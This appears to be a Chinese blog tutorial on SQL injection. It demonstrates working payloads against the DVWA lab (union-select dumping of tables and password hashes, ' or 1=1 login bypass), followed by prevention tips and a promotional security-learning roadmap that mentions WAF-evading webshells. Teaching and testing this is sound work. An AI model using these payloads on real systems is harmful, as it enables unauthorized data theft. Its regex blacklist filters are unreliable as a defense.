90%的网站都遇到过这个漏洞:SQL注入攻击,你中招了吗?
一、背景介绍
SQL 注入攻击是 Web 网络系统上非常常见的一种攻击!
黑客通过将恶意的 SQL 查询或者添加语句插入到应用的输入参数中,然后在后台 SQL 服务器上解析执行进行程序攻击!
哪黑客具体是如何将恶意的 SQL 脚本进行植入到系统中,从而达到攻击的目的呢?
现在的 Web 程序基本都是三层架构,也就是我们常说的 MVC 模式:
- 表示层:用于数据的展示,也就是前端界面
- 业务逻辑层:用于接受前端页面传入的参数,进行逻辑处理
- 数据访问层:逻辑层处理完毕之后,会将数据存储到对应的数据库,例如mysql、oracle、sqlserver等等
例如在上图中,用户访问主页进行了如下过程:
- 1、在 Web 浏览器中输入
www.shiyanlou.com
接到对应的服务器 - 2、
Web
服务器从本地存储中加载index.php
脚本程序并解析 - 3、脚本程序会连接位于数据访问层的
DBMS
(数据库管理系统),并执行Sql
语句 - 4、数据库管理系统返回
Sql
语句执行结果给Web
服务器 - 5、
Web
服务器将页面封装成HTML
格式发送给Web
浏览器 - 6、
Web
浏览器解析HTML
文件,将内容展示给用户
整个过程中间的业务逻辑层只是进行逻辑处理,从用户到获取数据,简单的说,三层架构是一种线性关系。
二、SQL 注入漏洞详解
刚刚我们也讲到,当我们访问网页时,Web 服务器会向数据访问层发起 SQL 查询请求,如果权限验证通过就会执行 SQL 语句。
一般来说,如果是正常使用是不会有什么危险的,但是如果用户输入的数据被构造成恶意 SQL 代码,Web 应用又未对动态构造的 SQL 语句使用的参数进行检查,则会带来意想不到的危险!
废话也不多说来,下面我们就一起来看看,黑客是如何绕过参数检查,从而实现窃取数据的目的!
2.1、SQL 注入示例一:猜解数据库
下面我们使用DVWA 渗透测试
平台,作为攻击测试的目标,让你更加清楚的理解 SQL 注入猜解数据库是如何发生的。
启动服务之后,首先观察浏览器中的URL
,先输入 1 ,查看回显!
从图中可以看出,ID : 1,First Name:admin,Surname:Admin
信息!
那后台执行了什么样的 SQL 语句呢?点击view source
查看源代码 ,其中的 SQL 查询代码为:
SELECT first_name, last_name FROM users WHERE user_id = '1';
OK!
如果我们不按常理出牌,比如在输入框中输入1' order by 1#
。
实际执行的 SQL 语句就会变成这样:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#
这条语句的意思是查询users
表中user_id
为1
的数据并按第一字段排行。
其中#
后面的 SQL 语句,都会当作注释进行处理,不会被执行!
输入 1' order by 1#
和 1' order by 2#
时都能返回正常!
当输入1' order by 3#
时,返回错误!
由此得知,users
表中只有两个字段,数据为两列!
接下来,我们玩点高级的!
我们使用union select
联合查询继续获取信息!
直接在输入框中输入1' union select database(),user()#
进行查询!
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#'
通过返回信息,我们成功获取到:
- 当前网站使用数据库为
dvwa
- 当前执行查询用户名为
root@localhost
接下来我们尝试获取dvwa
数据库中的表名!
在输入框中输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
进行查询!
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#'
通过上图返回信息,我们再获取到:
dvwa
数据库有两个数据表,分别是guestbook
和users
可能有些同学还不够满足,接下来尝试获取重量级的用户名、密码!
根据经验我们可以大胆猜测users
表的字段为 user
和 password
,所以输入:1' union select user,password from users#
进行查询:
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#'
可以看到成功爆出了用户名、密码,密码通过猜测采用 md5 进行加密,可以直接到www.cmd5.com
网站进行解密。
2.2、SQL 注入示例二:验证绕过
接下来我们再试试另一个利用 SQL 漏洞绕过登录验证的示例!
这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。
我们先尝试随意输入用户名 123 和密码 123 登录!
好像不太行,登录被拦截,从错误页面中我们无法获取到任何信息!
点击view source
查看源代码 ,其中的 SQL 查询代码为:
select * from users where username='123' and password='123'
按照上面示例的思路,我们尝试在用户名中输入 123' or 1=1 #
, 密码同样输入 123' or 1=1 #
。
恭喜你,登录成功!
为什么能够登陆成功呢?实际执行的语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照 Mysql 语法,#
后面的内容会被忽略,所以以上语句等同于:
select * from users where username='123' or 1=1
由于判断语句 or 1=1
恒成立,所以结果当然返回真,成功登录!
我们再尝试不使用 #
屏蔽单引号,在用户名中输入 123' or '1'='1
, 密码同样输入 123' or '1'='1
。
依然能够成功登录,实际执行的 SQL 语句是:
select * from users where username='123' or '1'='1' and password='123' or '1'='1'
两个 or
语句使 and
前后两个判断永远恒等于真,所以能够成功登录!
2.3、SQL 注入示例三:判断注入点
通常情况下,可能存在 SQL 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX
。
对 SQL 注入的判断,主要有两个方面:
- 判断该带参数的 Url 是否可以进行 SQL 注入
- 如果存在 SQL 注入,那么属于哪种 SQL 注入
可能存在 SQL 注入攻击的动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。
总之,只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在 SQL 注入。
例如现在有这么一个 URL 地址:
http://xxx/abc.php?id=1
首先根据经验猜测,它可能执行如下语句进行查询:
select * from <表名> where id = x
因此,在 URL 地址栏中输入http://xxx/abc.php?id= x and '1'='1
页面依旧运行正常,继续进行下一步!
当然不带参数的 URL 也未必是安全的,现在有很多第三方的工具,例如postman
工具,一样可以模拟各种请求!
黑客们在攻击的时候,同样会使用各种假设法来验证自己的判断!
三、如何预防 SQL 注入呢
上文中介绍的 SQL 攻击场景都比较基础,只是简单的向大家介绍一下!
那对于这种黑客攻击,我们有没有什么办法呢?
答案肯定是有的,就是对前端用户输入的所有的参数进行审查,最好是全文进行判断或者替换!
例如,当用户输入非法字符的时候,使用正则表达式进行匹配判断!
private String CHECKSQL = "^(.+)\\sand\\s(.+)|(.+)\\sor(.+)\\s$";
Pattern.matches(CHECKSQL,targerStr);
或者,全局替换,都可以!
public static String TransactSQLInjection(String sql) {
return sql.replaceAll(".*([';]+|(--)+).*", " ");
}
还可以采用预编译的语句集!
例如当使用Mybatis
的时候,尽可能的用#{}
语法来传参数,而不是${}
!
举个例子!
如果传入的username 为 a' or '1=1
,那么使用 ${}
处理后直接替换字符串的sql就解析为
select * from t_user where username = 'a' or '1=1'
这样的话所有的用户数据就被查出来了,就属于 SQL 注入!
如果使用#{}
,经过 sql
动态解析和预编译,会把单引号转义为 \'
,SQL 最终解析为
select * from t_user where username = "a\' or \'1=1 "
这样会查不出任何数据,有效阻止 sql 注入!
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
